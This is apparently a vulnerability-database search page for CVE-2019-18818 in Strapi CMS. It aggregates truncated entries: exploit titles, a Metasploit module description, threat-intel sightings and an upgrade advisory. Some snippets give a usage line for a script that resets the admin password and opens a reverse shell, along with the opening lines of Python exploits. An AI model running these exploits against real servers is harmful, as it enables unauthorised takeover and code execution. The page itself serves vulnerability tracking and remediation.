13 matches found
strapi_cms_3.0.0-beta.17.7
Strapi CMS CVE-2019-18818 and 19606 Blind Remote Code Execution of Strapi CMS Version 3.0.0-beta.17.7 and earlier to get reverse shell Getting Started Executing program Using python3 python3 strapiexp.py -t http://strapi.hack/ -e [email protected] -p newpassword -lhost 127.0.0.1 -lport 9001...
CVE-2019-18818
strapi before 3.0.0-beta.17.5 mishandles password resets within packages/strapi-admin/controllers/Auth.js and packages/strapi-plugin-users-permissions/controllers/Auth.js...
CVE-2019-18818
creationtimestamp| type| source ---|---|--- 2022-06-18 10:22:36+00:00| published-proof-of-concept| https://t.me/arm1tage/129 2024-02-05 16:16:29+00:00| seen| https://t.me/ctinow/179297 2024-11-14 06:10:00+00:00| seen| MISP/e95bd878-d7d0-432b-98eb-5357f4615dad 2024-11-21 12:42:37+00:00| seen|...
Strapi CMS Unauthenticated Password Reset
This module abuses the mishandling of a password reset request for Strapi CMS version 3.0.0-beta.17.4 to change the password of the admin user. Successfully tested against Strapi CMS version 3.0.0-beta.17.4. Module Options msf use auxiliary/scanner/http/strapi/3passwordreset msf...
Strapi 3.0.0-beta Authentication Bypass
Exploit Title: Strapi 3.0.0-beta - Set Password Unauthenticated Date: 2021-08-29 Exploit Author: David Anglada CodiObert Vendor Homepage: https://strapi.io/ Version: 3.0.0-beta Tested on: Linux CVE: CVE-2019-18818 !/usr/bin/python import requests import sys import json userEmail = "[email protected]...
Strapi CMS 3.0.0-beta.17.4 Remote Code Execution
Exploit Title: Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution RCE Unauthenticated Date: 2021-08-30 Exploit Author: Musyoka Ian Vendor Homepage: https://strapi.io/ Software Link: https://strapi.io/ Version: Strapi CMS version 3.0.0-beta.17.4 or lower Tested on: Ubuntu 20.04 CVE : CVE-2019-1881...
Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (Unauthenticated) Exploit
Exploit Title: Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution RCE Unauthenticated Exploit Author: Musyoka Ian Vendor Homepage: https://strapi.io/ Software Link: https://strapi.io/ Version: Strapi CMS version 3.0.0-beta.17.4 or lower Tested on: Ubuntu 20.04 CVE : CVE-2019-18818, CVE-2019-19609...
Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE) (Unauthenticated)
Exploit Title: Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution RCE Unauthenticated Date: 2021-08-30 Exploit Author: Musyoka Ian Vendor Homepage: https://strapi.io/ Software Link: https://strapi.io/ Version: Strapi CMS version 3.0.0-beta.17.4 or lower Tested on: Ubuntu 20.04 CVE : CVE-2019-1881...
Strapi 3.0.0-beta - Set Password (Unauthenticated)
Exploit Title: Strapi 3.0.0-beta - Set Password Unauthenticated Date: 2021-08-29 Exploit Author: David Anglada CodiObert Vendor Homepage: https://strapi.io/ Version: 3.0.0-beta Tested on: Linux CVE: CVE-2019-18818 !/usr/bin/python import requests import sys import json userEmail = "[email protected]...
Exploit for Weak Password Recovery Mechanism for Forgotten Password in Strapi
CVE-2019...
alazares-prototype (0.1.0) potentially affected by CVE-2019-18818 via strapi (3.0.0-alpha.26)
strapi NPM version 3.0.0-alpha.26 is affected by a known vulnerability. The following packages have a transitive dependency on strapi and may be impacted: - alazares-prototype 0.1.0 Source cves: CVE-2019-18818 Source advisory: OSV:GHSA-6XC2-MJ39-Q599...
Privilege Escalation
Overview Versions of strapi prior to 3.0.0-beta.17.5 are vulnerable to Privilege Escalation. The password reset routes allows an unauthenticated attacker to reset an admin's password without providing a valid password reset token. Recommendation Upgrade to version 3.0.0-beta.17.5 or later...
